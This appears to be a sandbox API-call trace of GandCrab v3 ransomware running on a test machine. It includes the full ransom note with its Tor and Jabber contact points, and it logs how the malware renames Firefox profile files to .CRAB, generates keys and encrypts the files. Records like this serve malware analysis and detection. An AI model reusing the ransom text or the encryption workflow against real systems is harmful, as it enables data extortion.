	[0120.545] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0120.545] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0120.546] CloseHandle (hObject=0x3dc) returned 1
	[0120.546] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\") returned 111
	[0120.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*"
	[0120.547] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0x3165fd8
	[0120.547] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0120.547] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.547] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0120.547] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0120.547] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.547] lstrcmpW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2=".") returned 1
	[0120.547] lstrcmpW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="..") returned 1
	[0120.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4"
	[0120.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.548] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174
	[0120.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174
	[0120.548] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.548] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.548] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.548] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174
	[0120.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174
	[0120.548] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.548] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.548] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.549] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.549] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.549] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.549] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.549] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.549] lstrcmpiW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.549] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.549] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB") returned 179
	[0120.549] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4")) returned 0x20
	[0120.550] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.551] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.crab")) returned 1
	[0120.552] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.552] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB"
	[0120.552] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB.CRAB"
	[0120.552] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0120.553] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.554] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.554] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.554] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0120.554] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.554] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0120.555] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.556] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.556] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.556] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0120.556] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.556] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.556] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.557] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0120.557] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165f58) returned 1
	[0120.557] CryptGetKeyParam (in: hKey=0x3165f58, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.557] CryptEncrypt (in: hKey=0x3165f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.558] GetLastError () returned 0x0
	[0120.558] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0120.558] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.558] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166018) returned 1
	[0120.559] CryptGetKeyParam (in: hKey=0x3166018, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.559] CryptEncrypt (in: hKey=0x3166018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.559] GetLastError () returned 0x0
	[0120.559] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.561] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.561] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x162b, lpOverlapped=0x0) returned 1
	[0120.613] VirtualAlloc (lpAddress=0x0, dwSize=0x1630, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.614] VirtualAlloc (lpAddress=0x0, dwSize=0x1630, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.614] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.614] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe9d5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.615] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1630, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1630, lpOverlapped=0x0) returned 1
	[0120.615] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.615] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.619] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.643] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.643] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0120.643] CloseHandle (hObject=0x3fc) returned 1
	[0120.644] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.645] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.645] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.646] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.646] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.646] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.646] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.646] lstrcmpW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2=".") returned 1
	[0120.646] lstrcmpW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="..") returned 1
	[0120.646] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4"
	[0120.646] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.647] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174
	[0120.655] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174
	[0120.655] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.655] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.656] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.656] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.656] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174
	[0120.656] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.656] lstrcmpiW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.656] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.657] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB") returned 179
	[0120.657] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4")) returned 0x20
	[0120.658] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.658] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.crab")) returned 1
	[0120.659] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.660] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB"
	[0120.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB.CRAB"
	[0120.660] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0120.660] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.661] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.661] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.661] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.661] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.661] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.662] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0120.662] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
